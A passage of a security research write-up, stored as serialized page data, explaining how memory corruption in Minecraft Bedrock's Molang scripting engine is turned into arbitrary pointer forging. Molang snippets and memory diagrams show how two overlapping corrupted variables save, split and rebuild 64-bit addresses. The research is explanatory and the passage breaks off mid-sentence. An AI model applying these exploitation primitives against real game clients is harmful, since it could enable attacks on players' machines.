\"description\"",{"type":23,"tag":41,"props":153341,"children":153342},{"style":70},[153343],{"type":28,"value":37017},{"type":23,"tag":41,"props":153345,"children":153346},{"class":43,"line":105},[153347,153352,153356,153361],{"type":23,"tag":41,"props":153348,"children":153349},{"style":858},[153350],{"type":28,"value":153351},"      \"identifier\"",{"type":23,"tag":41,"props":153353,"children":153354},{"style":70},[153355],{"type":28,"value":1418},{"type":23,"tag":41,"props":153357,"children":153358},{"style":735},[153359],{"type":28,"value":153360},"\"minecraft:leash_knot\"",{"type":23,"tag":41,"props":153362,"children":153363},{"style":70},[153364],{"type":28,"value":3506},{"type":23,"tag":41,"props":153366,"children":153367},{"class":43,"line":155},[153368],{"type":23,"tag":41,"props":153369,"children":153370},{"emptyLinePlaceholder":18},[153371],{"type":28,"value":82},{"type":23,"tag":41,"props":153373,"children":153374},{"class":43,"line":186},[153375],{"type":23,"tag":41,"props":153376,"children":153377},{"style":22393},[153378],{"type":28,"value":127159},{"type":23,"tag":41,"props":153380,"children":153381},{"class":43,"line":195},[153382],{"type":23,"tag":41,"props":153383,"children":153384},{"style":70},[153385],{"type":28,"value":152469},{"type":23,"tag":41,"props":153387,"children":153388},{"class":43,"line":905},[153389,153394],{"type":23,"tag":41,"props":153390,"children":153391},{"style":858},[153392],{"type":28,"value":153393},"      \"scripts\"",{"type":23,"tag":41,"props":153395,"children":153396},{"style":70},[153397],{"type":28,"value":37017},{"type":23,"tag":41,"props":153399,"children":153400},{"class":43,"line":922},[153401,153406],{"type":23,"tag":41,"props":153402,"children":153403},{"style":858},[153404],{"type":28,"value":153405},"        \"initialize\"",{"type":23,"tag":41,"props":153407,"children":153408},{"style":70},[153409],{"type":28,"value":153410},": [\n",{"type":23,"tag":41,"props":153412,"children":153413},{"class":43,"line":930},[153414,153419],{"type":23,"tag":41,"props":153415,"children":153416},{"style":735},[153417],{"type":28,"value":153418},"          \"variable.a = 0;\"",{"type":23,"tag":41,"props":153420,"children":153421},{"style":70},[153422],{"type":28,"value":3506},{"type":23,"tag":41,"props":153424,"children":153425},{"class":43,"line":939},[153426,153431],{"type":23,"tag":41,"props":153427,"children":153428},{"style":735},[153429],{"type":28,"value":153430},"          \"variable.b = 0;\"",{"type":23,"tag":41,"props":153432,"children":153433},{"style":70},[153434],{"type":28,"value":3506},{"type":23,"tag":41,"props":153436,"children":153437},{"class":43,"line":947},[153438,153443],{"type":23,"tag":41,"props":153439,"children":153440},{"style":735},[153441],{"type":28,"value":153442},"          \"variable.c = 0;\"",{"type":23,"tag":41,"props":153444,"children":153445},{"style":70},[153446],{"type":28,"value":3506},{"type":23,"tag":41,"props":153448,"children":153449},{"class":43,"line":985},[153450,153455,153459],{"type":23,"tag":41,"props":153451,"children":153452},{"style":70},[153453],{"type":28,"value":153454},"          [",{"type":23,"tag":41,"props":153456,"children":153457},{"style":22393},[153458],{"type":28,"value":9589},{"type":23,"tag":41,"props":153460,"children":153461},{"style":70},[153462],{"type":28,"value":11769},{"type":23,"tag":41,"props":153464,"children":153465},{"class":43,"line":1058},[153466],{"type":23,"tag":41,"props":153467,"children":153468},{"style":70},[153469],{"type":28,"value":43641},{"type":23,"tag":41,"props":153471,"children":153472},{"class":43,"line":1084},[153473,153478],{"type":23,"tag":41,"props":153474,"children":153475},{"style":858},[153476],{"type":28,"value":153477},"        \"pre_animation\"",{"type":23,"tag":41,"props":153479,"children":153480},{"style":70},[153481],{"type":28,"value":153410},{"type":23,"tag":41,"props":153483,"children":153484},{"class":43,"line":1102},[153485],{"type":23,"tag":41,"props":153486,"children":153487},{"style":735},[153488],{"type":28,"value":153489},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":41,"props":153491,"children":153492},{"class":43,"line":1110},[153493],{"type":23,"tag":41,"props":153494,"children":153495},{"style":70},[153496],{"type":28,"value":153497},"        ]\n",{"type":23,"tag":41,"props":153499,"children":153500},{"class":43,"line":1118},[153501],{"type":23,"tag":41,"props":153502,"children":153503},{"style":70},[153504],{"type":28,"value":37194},{"type":23,"tag":41,"props":153506,"children":153507},{"class":43,"line":1137},[153508],{"type":23,"tag":41,"props":153509,"children":153510},{"style":70},[153511],{"type":28,"value":192},{"type":23,"tag":41,"props":153513,"children":153514},{"class":43,"line":1163},[153515],{"type":23,"tag":41,"props":153516,"children":153517},{"style":70},[153518],{"type":28,"value":5872},{"type":23,"tag":41,"props":153520,"children":153521},{"class":43,"line":1188},[153522],{"type":23,"tag":41,"props":153523,"children":153524},{"style":70},[153525],{"type":28,"value":201},{"type":23,"tag":24,"props":153527,"children":153528},{},[153529,153531,153536,153538,153543,153545,153550],{"type":28,"value":153530},"As shown, the pointer of a variable at offset ",{"type":23,"tag":37,"props":153532,"children":153534},{"className":153533},[],[153535],{"type":28,"value":152580},{"type":28,"value":153537}," was modified and the core concept works. During ",{"type":23,"tag":37,"props":153539,"children":153541},{"className":153540},[],[153542],{"type":28,"value":152538},{"type":28,"value":153544}," copy, pointers of some other variables above offset ",{"type":23,"tag":37,"props":153546,"children":153548},{"className":153547},[],[153549],{"type":28,"value":152580},{"type":28,"value":153551}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":153553,"children":153554},{},[153555],{"type":28,"value":153556},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":417,"props":153558,"children":153559},{},[153560,153573],{"type":23,"tag":421,"props":153561,"children":153562},{},[153563,153565,153571],{"type":28,"value":153564},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":37,"props":153566,"children":153568},{"className":153567},[],[153569],{"type":28,"value":153570},"FLT_MAX",{"type":28,"value":153572},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":421,"props":153574,"children":153575},{},[153576,153578,153583,153585,153590,153591,153596,153598,153603],{"type":28,"value":153577},"As noted before, during assignment, ",{"type":23,"tag":37,"props":153579,"children":153581},{"className":153580},[],[153582],{"type":28,"value":152538},{"type":28,"value":153584}," fields are copied, and the ",{"type":23,"tag":37,"props":153586,"children":153588},{"className":153587},[],[153589],{"type":28,"value":1652},{"type":28,"value":152628},{"type":23,"tag":37,"props":153592,"children":153594},{"className":153593},[],[153595],{"type":28,"value":55630},{"type":28,"value":153597},". Since our source ",{"type":23,"tag":37,"props":153599,"children":153601},{"className":153600},[],[153602],{"type":28,"value":152538},{"type":28,"value":153604}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":153606,"children":153607},{},[153608],{"type":28,"value":153609},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":18881,"props":153611,"children":153613},{"id":153612},"expanding-the-idea",[153614],{"type":28,"value":153615},"Expanding the Idea",{"type":23,"tag":24,"props":153617,"children":153618},{},[153619,153621,153626,153628,153633,153634,153639,153641,153646],{"type":28,"value":153620},"As mentioned earlier, the ",{"type":23,"tag":37,"props":153622,"children":153624},{"className":153623},[],[153625],{"type":28,"value":1669},{"type":28,"value":153627}," field of ",{"type":23,"tag":37,"props":153629,"children":153631},{"className":153630},[],[153632],{"type":28,"value":152538},{"type":28,"value":15435},{"type":23,"tag":37,"props":153635,"children":153637},{"className":153636},[],[153638],{"type":28,"value":57929},{"type":28,"value":153640},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":37,"props":153642,"children":153644},{"className":153643},[],[153645],{"type":28,"value":1652},{"type":28,"value":153647}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":153649,"children":153650},{},[153651,153653,153658],{"type":28,"value":153652},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":37,"props":153654,"children":153656},{"className":153655},[],[153657],{"type":28,"value":152646},{"type":28,"value":153659},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":153661,"children":153662},{},[153663,153665,153670,153672,153677,153679,153684,153685,153691],{"type":28,"value":153664},"In the example below, ",{"type":23,"tag":37,"props":153666,"children":153668},{"className":153667},[],[153669],{"type":28,"value":153072},{"type":28,"value":153671}," points to ",{"type":23,"tag":37,"props":153673,"children":153675},{"className":153674},[],[153676],{"type":28,"value":152646},{"type":28,"value":153678},", while ",{"type":23,"tag":37,"props":153680,"children":153682},{"className":153681},[],[153683],{"type":28,"value":153086},{"type":28,"value":153671},{"type":23,"tag":37,"props":153686,"children":153688},{"className":153687},[],[153689],{"type":28,"value":153690},"MolangVariableMap + 4",{"type":28,"value":1474},{"type":23,"tag":31,"props":153693,"children":153695},{"code":153694},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153696],{"type":23,"tag":37,"props":153697,"children":153698},{"__ignoreMap":7},[153699],{"type":28,"value":153694},{"type":23,"tag":24,"props":153701,"children":153702},{},[153703,153705,153710,153711,153716,153718,153723,153725,153730,153732,153737],{"type":28,"value":153704},"Here, the ",{"type":23,"tag":37,"props":153706,"children":153708},{"className":153707},[],[153709],{"type":28,"value":1652},{"type":28,"value":153627},{"type":23,"tag":37,"props":153712,"children":153714},{"className":153713},[],[153715],{"type":28,"value":153072},{"type":28,"value":153717}," starts at the lower 32 bits of the ",{"type":23,"tag":37,"props":153719,"children":153721},{"className":153720},[],[153722],{"type":28,"value":153142},{"type":28,"value":153724}," pointer, while ",{"type":23,"tag":37,"props":153726,"children":153728},{"className":153727},[],[153729],{"type":28,"value":153086},{"type":28,"value":153731}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":37,"props":153733,"children":153735},{"className":153734},[],[153736],{"type":28,"value":153142},{"type":28,"value":153738}," pointer in a separate variable:",{"type":23,"tag":31,"props":153740,"children":153742},{"code":153741},"variable.saved_upper_32 = variable.b;\n",[153743],{"type":23,"tag":37,"props":153744,"children":153745},{"__ignoreMap":7},[153746],{"type":28,"value":153741},{"type":23,"tag":24,"props":153748,"children":153749},{},[153750],{"type":28,"value":153751},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":31,"props":153753,"children":153755},{"code":153754},"variable.a = variable.a + itof(0x8);\n",[153756],{"type":23,"tag":37,"props":153757,"children":153758},{"__ignoreMap":7},[153759],{"type":28,"value":153754},{"type":23,"tag":24,"props":153761,"children":153762},{},[153763],{"type":28,"value":153764},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":31,"props":153766,"children":153768},{"code":153767},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153769],{"type":23,"tag":37,"props":153770,"children":153771},{"__ignoreMap":7},[153772],{"type":28,"value":153767},{"type":23,"tag":24,"props":153774,"children":153775},{},[153776,153778,153783],{"type":28,"value":153777},"Since the 32 bits directly below the ",{"type":23,"tag":37,"props":153779,"children":153781},{"className":153780},[],[153782],{"type":28,"value":1652},{"type":28,"value":153784}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":31,"props":153786,"children":153788},{"code":153787},"variable.b = variable.saved_upper_32;\n",[153789],{"type":23,"tag":37,"props":153790,"children":153791},{"__ignoreMap":7},[153792],{"type":28,"value":153787},{"type":23,"tag":24,"props":153794,"children":153795},{},[153796,153798,153803],{"type":28,"value":153797},"Now ",{"type":23,"tag":37,"props":153799,"children":153801},{"className":153800},[],[153802],{"type":28,"value":153142},{"type":28,"value":153804}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":31,"props":153806,"children":153808},{"code":153807},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[153809],{"type":23,"tag":37,"props":153810,"children":153811},{"__ignoreMap":7},[153812],{"type":28,"value":153807},{"type":23,"tag":24,"props":153814,"children":153815},{},[153816,153818,153823],{"type":28,"value":153817},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":37,"props":153819,"children":153821},{"className":153820},[],[153822],{"type":28,"value":153690},{"type":28,"value":153824}," on the heap?",{"type":23,"tag":24,"props":153826,"children":153827},{},[153828,153830,153835,153837,153843],{"type":28,"value":153829},"Additionally, adding 8 to ",{"type":23,"tag":37,"props":153831,"children":153833},{"className":153832},[],[153834],{"type":28,"value":153072},{"type":28,"value":153836}," in the example above wouldn’t work because ",{"type":23,"tag":37,"props":153838,"children":153840},{"className":153839},[],[153841],{"type":28,"value":153842},"0xddccbba0",{"type":28,"value":153844}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":18881,"props":153846,"children":153848},{"id":153847},"the-final-approach",[153849],{"type":28,"value":153850},"The Final Approach",{"type":23,"tag":24,"props":153852,"children":153853},{},[153854,153856,153861,153863,153869],{"type":28,"value":153855},"We realized that instead of having the second pointer at ",{"type":23,"tag":37,"props":153857,"children":153859},{"className":153858},[],[153860],{"type":28,"value":153690},{"type":28,"value":153862},", we could instead have it at ",{"type":23,"tag":37,"props":153864,"children":153866},{"className":153865},[],[153867],{"type":28,"value":153868},"MolangVariableMap + 2",{"type":28,"value":153870},", which would resolve both of our issues.",{"type":23,"tag":24,"props":153872,"children":153873},{},[153874,153876,153881,153882,153887],{"type":28,"value":153875},"Let’s revisit the previous example, but this time ",{"type":23,"tag":37,"props":153877,"children":153879},{"className":153878},[],[153880],{"type":28,"value":153086},{"type":28,"value":153671},{"type":23,"tag":37,"props":153883,"children":153885},{"className":153884},[],[153886],{"type":28,"value":153868},{"type":28,"value":1474},{"type":23,"tag":31,"props":153889,"children":153891},{"code":153890},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153892],{"type":23,"tag":37,"props":153893,"children":153894},{"__ignoreMap":7},[153895],{"type":28,"value":153890},{"type":23,"tag":24,"props":153897,"children":153898},{},[153899,153901,153906],{"type":28,"value":153900},"With this setup, we can calculate any address relative to ",{"type":23,"tag":37,"props":153902,"children":153904},{"className":153903},[],[153905],{"type":28,"value":153142},{"type":28,"value":153907}," by first saving the upper 48 bits of the address:",{"type":23,"tag":31,"props":153909,"children":153911},{"code":153910},"variable.saved_upper_48 = variable.b;\n",[153912],{"type":23,"tag":37,"props":153913,"children":153914},{"__ignoreMap":7},[153915],{"type":28,"value":153910},{"type":23,"tag":24,"props":153917,"children":153918},{},[153919,153920,153926,153928,153934],{"type":28,"value":129548},{"type":23,"tag":37,"props":153921,"children":153923},{"className":153922},[],[153924],{"type":28,"value":153925},"variable.saved_upper_48",{"type":28,"value":153927}," holds the value ",{"type":23,"tag":37,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":28,"value":153933},"0x1c80ddcc",{"type":28,"value":706},{"type":23,"tag":24,"props":153936,"children":153937},{},[153938],{"type":28,"value":153939},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":31,"props":153941,"children":153943},{"code":153942},"variable.b = 0;\n",[153944],{"type":23,"tag":37,"props":153945,"children":153946},{"__ignoreMap":7},[153947],{"type":28,"value":153942},{"type":23,"tag":24,"props":153949,"children":153950},{},[153951],{"type":28,"value":153952},"Resulting in the following state:",{"type":23,"tag":31,"props":153954,"children":153956},{"code":153955},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153957],{"type":23,"tag":37,"props":153958,"children":153959},{"__ignoreMap":7},[153960],{"type":28,"value":153955},{"type":23,"tag":24,"props":153962,"children":153963},{},[153964,153966,153971,153973,153979,153981,153986],{"type":28,"value":153965},"Now, the value of ",{"type":23,"tag":37,"props":153967,"children":153969},{"className":153968},[],[153970],{"type":28,"value":153072},{"type":28,"value":153972}," only spans 16 bits (",{"type":23,"tag":37,"props":153974,"children":153976},{"className":153975},[],[153977],{"type":28,"value":153978},"0xbba0",{"type":28,"value":153980}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":37,"props":153982,"children":153984},{"className":153983},[],[153985],{"type":28,"value":153570},{"type":28,"value":706},{"type":23,"tag":24,"props":153988,"children":153989},{},[153990,153992,153997],{"type":28,"value":153991},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":37,"props":153993,"children":153995},{"className":153994},[],[153996],{"type":28,"value":153072},{"type":28,"value":1474},{"type":23,"tag":31,"props":153999,"children":154000},{"code":153754},[154001],{"type":23,"tag":37,"props":154002,"children":154003},{"__ignoreMap":7},[154004],{"type":28,"value":153754},{"type":23,"tag":24,"props":154006,"children":154007},{},[154008],{"type":28,"value":154009},"Which results in:",{"type":23,"tag":31,"props":154011,"children":154013},{"code":154012},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[154014],{"type":23,"tag":37,"props":154015,"children":154016},{"__ignoreMap":7},[154017],{"type":28,"value":154012},{"type":23,"tag":24,"props":154019,"children":154020},{},[154021],{"type":28,"value":154022},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":31,"props":154024,"children":154026},{"code":154025},"variable.b = variable.saved_upper_48;\n",[154027],{"type":23,"tag":37,"props":154028,"children":154029},{"__ignoreMap":7},[154030],{"type":28,"value":154025},{"type":23,"tag":24,"props":154032,"children":154033},{},[154034],{"type":28,"value":154035},"Yielding a valid pointer again:",{"type":23,"tag":31,"props":154037,"children":154039},{"code":154038},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[154040],{"type":23,"tag":37,"props":154041,"children":154042},{"__ignoreMap":7},[154043],{"type":28,"value":154038},{"type":23,"tag":24,"props":154045,"children":154046},{},[154047],{"type":28,"value":154048},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":31,"props":154050,"children":154052},{"code":154051},"variable.saved_adjusted_lower_16 = variable.a;\n",[154053],{"type":23,"tag":37,"props":154054,"children":154055},{"__ignoreMap":7},[154056],{"type":28,"value":154051},{"type":23,"tag":24,"props":154058,"children":154059},{},[154060],{"type":28,"value":154061},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":31,"props":154063,"children":154065},{"code":154064},"variable.a = variable.saved_upper_48;\n",[154066],{"type":23,"tag":37,"props":154067,"children":154068},{"__ignoreMap":7},[154069],{"type":28,"value":154064},{"type":23,"tag":24,"props":154071,"children":154072},{},[154073],{"type":28,"value":154074},"This produces the following state:",{"type":23,"tag":31,"props":154076,"children":154078},{"code":154077},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[154079],{"type":23,"tag":37,"props":154080,"children":154081},{"__ignoreMap":7},[154082],{"type":28,"value":154077},{"type":23,"tag":24,"props":154084,"children":154085},{},[154086,154088,154093,154095,154101,154103,154109,154111,154116,154118,154123],{"type":28,"value":154087},"As shown, ",{"type":23,"tag":37,"props":154089,"children":154091},{"className":154090},[],[154092],{"type":28,"value":153086},{"type":28,"value":154094}," now contains the upper 16 bits of the address (",{"type":23,"tag":37,"props":154096,"children":154098},{"className":154097},[],[154099],{"type":28,"value":154100},"0x1c80",{"type":28,"value":154102},"), which we can store as ",{"type":23,"tag":37,"props":154104,"children":154106},{"className":154105},[],[154107],{"type":28,"value":154108},"variable.saved_upper_16 = variable.b",{"type":28,"value":154110},". Meanwhile, ",{"type":23,"tag":37,"props":154112,"children":154114},{"className":154113},[],[154115],{"type":28,"value":153072},{"type":28,"value":154117}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":37,"props":154119,"children":154121},{"className":154120},[],[154122],{"type":28,"value":153086},{"type":28,"value":1474},{"type":23,"tag":31,"props":154125,"children":154126},{"code":153942},[154127],{"type":23,"tag":37,"props":154128,"children":154129},{"__ignoreMap":7},[154130],{"type":28,"value":153942},{"type":23,"tag":24,"props":154132,"children":154133},{},[154134],{"type":28,"value":154135},"Leaving us with:",{"type":23,"tag":31,"props":154137,"children":154139},{"code":154138},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[154140],{"type":23,"tag":37,"props":154141,"children":154142},{"__ignoreMap":7},[154143],{"type":28,"value":154138},{"type":23,"tag":24,"props":154145,"children":154146},{},[154147],{"type":28,"value":154148},"We can now save the middle 16 bits:",{"type":23,"tag":31,"props":154150,"children":154152},{"code":154151},"variable.saved_middle_16 = variable.a;\n",[154153],{"type":23,"tag":37,"props":154154,"children":154155},{"__ignoreMap":7},[154156],{"type":28,"value":154151},{"type":23,"tag":24,"props":154158,"children":154159},{},[154160],{"type":28,"value":154161},"At this point, we have:",{"type":23,"tag":31,"props":154163,"children":154165},{"code":154164},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[154166],{"type":23,"tag":37,"props":154167,"children":154168},{"__ignoreMap":7},[154169],{"type":28,"value":154164},{"type":23,"tag":24,"props":154171,"children":154172},{},[154173],{"type":28,"value":154174},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":154176,"children":154177},{},[154178],{"type":28,"value":154179},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":31,"props":154181,"children":154183},{"code":154182},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[154184],{"type":23,"tag":37,"props":154185,"children":154186},{"__ignoreMap":7},[154187],{"type":28,"value":154182},{"type":23,"tag":24,"props":154189,"children":154190},{},[154191],{"type":28,"value":154192},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":31,"props":154194,"children":154196},{"code":154195},"variable.a = variable.saved_adjusted_middle_16;\n",[154197],{"type":23,"tag":37,"props":154198,"children":154199},{"__ignoreMap":7},[154200],{"type":28,"value":154195},{"type":23,"tag":24,"props":154202,"children":154203},{},[154204,154206,154211,154212,154218,154219,154225],{"type":28,"value":154205},"Setting ",{"type":23,"tag":37,"props":154207,"children":154209},{"className":154208},[],[154210],{"type":28,"value":153072},{"type":28,"value":56772},{"type":23,"tag":37,"props":154213,"children":154215},{"className":154214},[],[154216],{"type":28,"value":154217},"0xddcd",{"type":28,"value":142},{"type":23,"tag":37,"props":154220,"children":154222},{"className":154221},[],[154223],{"type":28,"value":154224},"0xddcc + 1",{"type":28,"value":154226},"), and then:",{"type":23,"tag":31,"props":154228,"children":154230},{"code":154229},"variable.b = variable.saved_adjusted_upper_16;\n",[154231],{"type":23,"tag":37,"props":154232,"children":154233},{"__ignoreMap":7},[154234],{"type":28,"value":154229},{"type":23,"tag":24,"props":154236,"children":154237},{},[154238,154240,154245,154247,154253,154254,154260],{"type":28,"value":154239},"Resulting in ",{"type":23,"tag":37,"props":154241,"children":154243},{"className":154242},[],[154244],{"type":28,"value":153086},{"type":28,"value":154246}," value becoming ",{"type":23,"tag":37,"props":154248,"children":154250},{"className":154249},[],[154251],{"type":28,"value":154252},"0x1c81",{"type":28,"value":142},{"type":23,"tag":37,"props":154255,"children":154257},{"className":154256},[],[154258],{"type":28,"value":154259},"0x1c80 + 1",{"type":28,"value":23944},{"type":23,"tag":31,"props":154262,"children":154264},{"code":154263},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154265],{"type":23,"tag":37,"props":154266,"children":154267},{"__ignoreMap":7},[154268],{"type":28,"value":154263},{"type":23,"tag":24,"props":154270,"children":154271},{},[154272],{"type":28,"value":154273},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":31,"props":154275,"children":154277},{"code":154276},"variable.saved_adjusted_upper_48 = variable.a;\n",[154278],{"type":23,"tag":37,"props":154279,"children":154280},{"__ignoreMap":7},[154281],{"type":28,"value":154276},{"type":23,"tag":24,"props":154283,"children":154284},{},[154285],{"type":28,"value":154286},"Finally, we attach the lower 16 bits:",{"type":23,"tag":31,"props":154288,"children":154290},{"code":154289},"variable.a = variable.saved_adjusted_lower_16;\n",[154291],{"type":23,"tag":37,"props":154292,"children":154293},{"__ignoreMap":7},[154294],{"type":28,"value":154289},{"type":23,"tag":31,"props":154296,"children":154298},{"code":154297},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154299],{"type":23,"tag":37,"props":154300,"children":154301},{"__ignoreMap":7},[154302],{"type":28,"value":154297},{"type":23,"tag":24,"props":154304,"children":154305},{},[154306],{"type":28,"value":154307},"And by setting:",{"type":23,"tag":31,"props":154309,"children":154311},{"code":154310},"variable.b = variable.saved_adjusted_upper_48;\n",[154312],{"type":23,"tag":37,"props":154313,"children":154314},{"__ignoreMap":7},[154315],{"type":28,"value":154310},{"type":23,"tag":24,"props":154317,"children":154318},{},[154319],{"type":28,"value":154320},"We forge the final adjusted pointer:",{"type":23,"tag":31,"props":154322,"children":154324},{"code":154323},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154325],{"type":23,"tag":37,"props":154326,"children":154327},{"__ignoreMap":7},[154328],{"type":28,"value":154323},{"type":23,"tag":442,"props":154330,"children":154331},{},[],{"type":23,"tag":24,"props":154333,"children":154334},{},[154335,154337,154342],{"type":28,"value":154336},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":37,"props":154338,"children":154340},{"className":154339},[],[154341],{"type":28,"value":153868},{"type":28,"value":153824},{"type":23,"tag":24,"props":154344,"children":154345},{},[154346,154348,154353,154355,154360,154362,154368,154370,154375],{"type":28,"value":154347},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":37,"props":154349,"children":154351},{"className":154350},[],[154352],{"type":28,"value":153868},{"type":28,"value":154354},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":37,"props":154356,"children":154358},{"className":154357},[],[154359],{"type":28,"value":30680},{"type":28,"value":154361}," and the other to ",{"type":23,"tag":37,"props":154363,"children":154365},{"className":154364},[],[154366],{"type":28,"value":154367},"addr + 2",{"type":28,"value":154369}," (as long as ",{"type":23,"tag":37,"props":154371,"children":154373},{"className":154372},[],[154374],{"type":28,"value":30680},{"type":28,"value":154376}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":154378,"children":154379},{},[154380,154382,154387,154388,154393],{"type":28,"value":154381},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":37,"props":154383,"children":154385},{"className":154384},[],[154386],{"type":28,"value":149842},{"type":28,"value":153627},{"type":23,"tag":37,"props":154389,"children":154391},{"className":154390},[],[154392],{"type":28,"value":152646},{"type":28,"value":154394}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":31,"props":154396,"children":154398},{"code":154397},"variable.corrupted_var_map_ptr = variable.a;\n",[154399],{"type":23,"tag":37,"props":154400,"children":154401},{"__ignoreMap":7},[154402],{"type":28,"value":154397},{"type":23,"tag":24,"props":154404,"children":154405},{},[154406,154408,154413,154415,154421],{"type":28,"value":154407},"As mentioned earlier, this operation copies the entire 64-bit 